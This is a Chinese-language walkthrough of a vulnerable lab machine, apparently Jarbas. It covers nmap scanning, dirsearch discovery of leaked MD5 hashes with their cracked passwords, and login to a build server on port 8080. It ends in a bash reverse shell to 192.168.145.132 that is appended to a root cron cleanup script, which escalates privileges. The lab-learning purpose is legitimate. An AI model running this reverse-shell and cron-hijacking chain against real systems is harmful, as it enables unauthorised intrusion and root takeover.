jarbas

信息搜集

确认目标机IP

sudo nmap -sn x.x.x.0/24

端口

sudo nmap -sT --min-rate 10000 -p- x.x.x.x -oA nmapscan/ports

详细信息

grep open nmapscan/ports.nmap | awk -F'/' '{print $1}'
ports=$(grep open nmapscan/ports.nmap | awk -F'/' '{print $1}' | paste -sd ',') 
sudo nmap -sT -sV -sV -sC -O -p$ports 192.168.145.135 -oA nmapscan/detail

UDP扫描

sudo nmap -sU --top-ports 20 192.168.145.135 -oA nmapscan/udp

全关着的

脚本扫描

sudo nmap --script=vuln -p$ports 192.168.145.135 -oA nmapscan/vuln 

┌──(kali㉿kali)-[~/Desktop/ngrok]
└─$ sudo nmap --script=vuln -p$ports 192.168.145.135 -oA nmapscan/vuln             
Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-10 01:04 EST
Pre-scan script results:
| broadcast-avahi-dos: 
|   Discovered hosts:
|     224.0.0.251
|   After NULL UDP avahi packet DoS (CVE-2011-1002).
|_  Hosts are all up (not vulnerable).
Nmap scan report for bogon (192.168.145.135)
Host is up (0.00019s latency).

PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
| http-enum: 
|_  /icons/: Potentially interesting folder w/ directory listing
| http-slowloris-check: 
|   VULNERABLE:
|   Slowloris DOS attack
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2007-6750
|       Slowloris tries to keep many connections to the target web server open and hold
|       them open as long as possible.  It accomplishes this by opening connections to
|       the target web server and sending a partial request. By doing so, it starves
|       the http server's resources causing Denial Of Service.
|       
|     Disclosure date: 2009-09-17
|     References:
|       http://ha.ckers.org/slowloris/
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-trace: TRACE is enabled
3306/tcp open  mysql
8080/tcp open  http-proxy
| http-slowloris-check: 
|   VULNERABLE:
|   Slowloris DOS attack
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2007-6750
|       Slowloris tries to keep many connections to the target web server open and hold
|       them open as long as possible.  It accomplishes this by opening connections to
|       the target web server and sending a partial request. By doing so, it starves
|       the http server's resources causing Denial Of Service.
|       
|     Disclosure date: 2009-09-17
|     References:
|       http://ha.ckers.org/slowloris/
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
MAC Address: 00:0C:29:A6:5E:A7 (VMware)

漏洞探测

首先关注的是web，也就是80和8080

80

8080

目录爆破

80

使用dirsearch扫出来了个access

访问

一看就是md5加密，看不出来的也可以用hash-identifier进行判断，上篇有说明

https://hashes.com/en/decrypt/hash

到这个网站看看能不能查到

tiago:5978a63b4654c73c60fa24f836386d87

trindade:f463f63616cb3f1e81ce46b39f882fd5

eder:9b38e2b1e8b12f426b0d208a7ab6cb98

5978a63b4654c73c60fa24f836386d87:italia99
9b38e2b1e8b12f426b0d208a7ab6cb98:vipsu
f463f63616cb3f1e81ce46b39f882fd5:marianna

刚好8080是登录界面，我们试一试

全部试过了，登不上去

交叉尝试一波

发现eder–》vipsu可以登上去

直接确认

写一条bash交互的脚本命令

在kali监听本机的xxxx端口来接收反弹Shell: nc -lvp xxxx, 随后点击立即构建触发上述设置的远程命令,后续在kali收到反弹的shell

立即构建

低权限账户

发现有个计划任务

每五分钟执行一次

这个脚本是删除访问日志的

直接写入反弹shell的命令

echo "/bin/bash -i >& /dev/tcp/192.168.145.132/4455 0>&1" >> /etc/script/CleaningScript.sh

kali开启监听

sudo nc -lnvp 4455

过来了

结束